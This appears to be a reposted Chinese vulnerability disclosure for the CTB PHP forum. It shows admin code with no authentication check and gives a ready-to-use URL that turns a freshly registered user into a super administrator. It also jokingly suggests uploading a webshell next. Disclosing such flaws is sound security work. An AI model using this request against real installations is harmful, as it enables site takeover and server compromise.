Home Backend Development PHP Tutorial 漂亮但不安全的CTB_PHP

漂亮但不安全的CTB_PHP

Jun 01, 2016 pm 12:38 PM
mod back Safety pretty user manage verify


>>>Dedicated This Scrap To CaoJing
涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。
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